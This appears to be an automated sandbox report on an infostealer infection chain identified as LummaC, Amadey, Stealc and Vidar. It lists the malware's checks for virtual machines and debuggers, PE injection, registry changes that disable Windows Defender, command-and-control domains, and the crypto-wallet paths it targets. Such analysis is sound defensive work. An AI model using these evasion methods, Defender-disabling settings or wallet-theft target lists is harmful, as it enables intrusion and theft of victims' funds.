Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: I8WIG9OBFWN5NKZK2DW5QG7.exe, I8WIG9OBFWN5NKZK2DW5QG7.exe, 00000004.00000002.2140445534.000000000089D000.00000040.00000001.01000000.00000006.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2521279564.0000000000EB7000.00000040.00000001.01000000.00000009.sdmp, GCBKECAKFB.exe, 0000000C.00000000.2497749312.0000000000A05000.00000080.00000001.01000000.0000000F.sdmp, GCBKECAKFB.exe, 0000000C.00000002.2547841894.0000000000A05000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000D.00000000.2526092878.0000000000735000.00000080.00000001.01000000.00000012.sdmp, skotes.exe, 0000000D.00000002.2578305369.0000000000735000.00000040.00000001.01000000.00000012.sdmp, skotes.exe, 0000000E.00000000.2529641200.0000000000735000.00000080.00000001.01000000.00000012.sdmp, skotes.exe, 0000000E.00000002.2580472491.0000000000735000.00000040.00000001.01000000.00000012.sdmp, skotes.exe, 0000000F.00000002.2950985312.0000000000735000.00000040.00000001.01000000.00000012.sdmp, skotes.exe, 0000000F.00000000.2724779675.0000000000735000.00000080.00000001.01000000.00000012.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWkJ
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: GCBKECAKFB.exe, 0000000C.00000003.2521512973.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: GCBKECAKFB.exe, 0000000C.00000000.2497749312.0000000000A05000.00000080.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000D.00000000.2526092878.0000000000735000.00000080.00000001.01000000.00000012.sdmp, skotes.exe, 0000000E.00000000.2529641200.0000000000735000.00000080.00000001.01000000.00000012.sdmp, skotes.exe, 0000000F.00000000.2724779675.0000000000735000.00000080.00000001.01000000.00000012.sdmp, skotes.exe.12.dr, GCBKECAKFB.exe.5.dr	Binary or memory string: 7\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: AWrVzd6XpC.exe, 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827868227.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836312531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830842138.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834366630.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831567671.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835201454.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1919033496.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834620512.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834122320.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnk
Source: AWrVzd6XpC.exe, AWrVzd6XpC.exe, 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827868227.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836312531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830842138.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834366630.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831567671.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835201454.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1919033496.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834620512.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834122320.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 8c6b987a2c.exe, 00000012.00000002.2951627385.00000000014EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWYi
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001532000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000002.2951627385.00000000014BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe, 00000004.00000002.2140445534.000000000089D000.00000040.00000001.01000000.00000006.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2521279564.0000000000EB7000.00000040.00000001.01000000.00000009.sdmp, GCBKECAKFB.exe, 0000000C.00000002.2547841894.0000000000A05000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000D.00000002.2578305369.0000000000735000.00000040.00000001.01000000.00000012.sdmp, skotes.exe, 0000000E.00000002.2580472491.0000000000735000.00000040.00000001.01000000.00000012.sdmp, skotes.exe, 0000000F.00000002.2950985312.0000000000735000.00000040.00000001.01000000.00000012.sdmp, 59bcbe04f3.exe, 00000013.00000002.2950101514.000000000029F000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe, 00000004.00000002.2140445534.000000000089D000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: w5"VMCI

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C58AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_6C58AC62

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C58AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_6C58AC62

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe PID: 4944, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe

Memory written: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: AWrVzd6XpC.exe, 00000000.00000003.1703278255.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: AWrVzd6XpC.exe, 00000000.00000003.1703278255.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: AWrVzd6XpC.exe, 00000000.00000003.1703278255.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: AWrVzd6XpC.exe, 00000000.00000003.1703278255.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: AWrVzd6XpC.exe, 00000000.00000003.1703278255.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: AWrVzd6XpC.exe, 00000000.00000003.1703278255.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: AWrVzd6XpC.exe, 00000000.00000003.1703278255.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: AWrVzd6XpC.exe, 00000000.00000003.1703278255.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: AWrVzd6XpC.exe, 00000000.00000003.1703278255.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat
Source: 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click
Source: 59bcbe04f3.exe, 00000013.00000003.2940787584.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: treehoneyi.click

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCBKECAKFB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GCBKECAKFB.exe "C:\Users\user\Documents\GCBKECAKFB.exe"	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe "C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe "C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe"
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Process created: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe "C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe"

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C5D4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

5_2_6C5D4760

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C4B1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

5_2_6C4B1C30

Source: I8WIG9OBFWN5NKZK2DW5QG7.exe, I8WIG9OBFWN5NKZK2DW5QG7.exe, 00000004.00000002.2140445534.000000000089D000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: S,Program Manager
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2521911381.0000000000EFB000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: 7Program Manager
Source: GCBKECAKFB.exe, 0000000C.00000002.2548414381.0000000000A4E000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000D.00000002.2578712030.000000000077E000.00000040.00000001.01000000.00000012.sdmp, skotes.exe, 0000000E.00000002.2581379946.000000000077E000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: :Program Manager
Source: 59bcbe04f3.exe, 00000013.00000002.2950101514.000000000029F000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: jLProgram Manager

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C58AE71 cpuid

5_2_6C58AE71

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C58A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_6C58A8DC

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C4D8390 NSS_GetVersion,

5_2_6C4D8390

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: AWrVzd6XpC.exe, 00000000.00000003.1878097125.000000000559A000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1918913464.0000000000C68000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1992070312.0000000005592000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1918522347.000000000559A000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1864845416.000000000559A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 15.2.skotes.exe.540000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.GCBKECAKFB.exe.810000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.skotes.exe.540000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.skotes.exe.540000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000003.2504800940.0000000004760000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2734844908.0000000004B80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2539502026.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2537187221.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2547468829.0000000000811000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2578023164.0000000000541000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2949729099.0000000000541000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2579902059.0000000000541000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: AWrVzd6XpC.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 8c6b987a2c.exe PID: 2176, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000005.00000003.2056866010.0000000005310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2518247664.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2523365754.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe PID: 4944, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe PID: 4944, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: AWrVzd6XpC.exe	String found in binary or memory: Wallets/Electrum
Source: AWrVzd6XpC.exe	String found in binary or memory: Wallets/ElectronCash
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B64000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: AWrVzd6XpC.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
